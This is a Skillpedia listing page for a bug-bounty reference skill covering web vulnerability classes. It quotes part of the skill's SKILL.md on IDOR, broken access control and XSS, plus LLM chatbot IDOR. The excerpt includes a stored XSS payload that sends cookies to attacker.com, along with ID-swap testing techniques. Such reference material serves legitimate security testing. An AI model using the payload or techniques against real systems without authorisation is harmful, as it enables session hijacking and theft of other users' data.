Skip to content
Skillpedia
Security5.5k Β· #14797

web2-vuln-classes

What it does

This skill is a reference guide for an agent testing web apps. It explains how common flaws such as IDOR, SSRF, XSS, and SQL injection happen and how to spot them.

When to use it

  • βœ“When a tester wants to learn how a common web flaw such as IDOR or SSRF works.
  • βœ“When a tester needs detection patterns or bypass ideas for a specific flaw class.
  • βœ“When a tester wants to check a finding against known root causes.

Skill link

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œExplain how to test this app for IDOR, with the common root causes and what to look for.”

5 new skills a week. 1 minute to read.

How it works

The agent finds the right class in the reference, then uses its root cause, detection patterns, and bypass table to plan tests. Classes that need login are marked, and two sessions are suggested for access checks.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

WEB2 BUG CLASSES β€” 26 Classes

Root cause, pattern, bypass table, chaining opportunity, real paid examples.

Auth-required classes (πŸ”): the ones below need at least one logged-in session loaded into the hunt to be testable. Use hunt.py --auth-file .private/T.json or --cookie/--bearer flags β€” every recon/scan tool then inherits the headers automatically. For IDOR/BOLA/priv-esc, load two sessions (low- and high-priv) and diff. See docs/auth-sessions.md.

πŸ” IDOR Β· Broken Auth/Access Control Β· Mass Assignment Β· OAuth/OIDC Β· JWT Β· GraphQL field-level auth Β· LLM/AI chatbot IDOR Β· MFA (rate-limit + response manipulation tests) Β· ATO chains Β· SSRF behind login

The MFA workflow-skip and SAML signature-stripping probes intentionally stay unauthenticated even when a session is loaded β€” that's the attack premise.


1. IDOR β€” INSECURE DIRECT OBJECT REFERENCE πŸ”

#1 most paid web2 class β€” 30% of all submissions that get paid. Needs two sessions (A=attacker, B=victim) β€” load both via --auth-file and diff audit-log session_id hashes to confirm cross-tenant access.

Root Cause

# VULNERABLE β€” no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
    return jsonify(order)  # Never checks if order belongs to current user!

# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
                     order_id, current_user.id)

Variants

  • V1: Numeric ID swap β€” /api/user/123/profile β†’ change to 124
  • V2: UUID swap β€” enumerate UUID via email invite or other endpoint
  • V3: Indirect IDOR β€” POST /api/export?report_id=456 exports another user's report
  • V4: Parameter add β€” ?user_id=other makes backend use it
  • V5: HTTP method swap β€” PUT protected, DELETE not
  • V6: Old API version β€” /v1/users/123 lacks auth that /v2/ has
  • V7: GraphQL node β€” { node(id: "base64(User:456)") { email } }
  • V8: WebSocket β€” WS sends {"action":"get_history","userId":"client-generated-UUID"}

Testing Checklist

[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs

IDOR Chain Escalation

  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot reads other user's data = High

2. BROKEN AUTH / ACCESS CONTROL πŸ”

#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. Needs auth loaded β€” you're testing which sibling routes a logged-in user can reach that shouldn't be reachable. Compare authed responses against the same paths hit anonymously.

The Sibling Rule

/api/admin/users  β†’ has auth middleware
/api/admin/export β†’ often MISSING it
/api/admin/delete β†’ often MISSING it
/api/admin/reset  β†’ often MISSING it

Patterns

// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);  // No middleware!

// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!

Real Paid Examples

  • HackerOne TrustHub: POST /graphql with TrustHubQuery β€” no auth, regular user reads all vendors (CVSS 8.7 High)
  • Vienna Chatbot: WebSocket get_history accepts arbitrary UUID β€” no ownership check (P2)

3. XSS β€” CROSS-SITE SCRIPTING

Stored XSS (highest impact)

Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS β†’ cookie theft β†’ session hijack

DOM XSS Sinks (grep for these)

innerHTML = userInput           // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)      // string form
element.src = userInput         // JavaScript URI possible
location.href = userInput

postMessage is a DOM XSS source β€” same sinks above (innerHTML, eval

FAQ

How many classes are covered?

The skill covers 26 web bug classes, including IDOR, SSRF, XSS, SQL injection, and file upload.

Why use two sessions?

The skill suggests loading a low-privilege and a high-privilege session to compare access.

Does it include AI risks?

Yes. It includes LLM and AI risks mapped to the ASI categories.

Details

Original description by the author

Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure de

repo: awarexone/Agentic-Bug-Hunter

Popularity

GitHub stars
5.5k
Ranking position
#14797
License
MIT
Updated
10/28/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills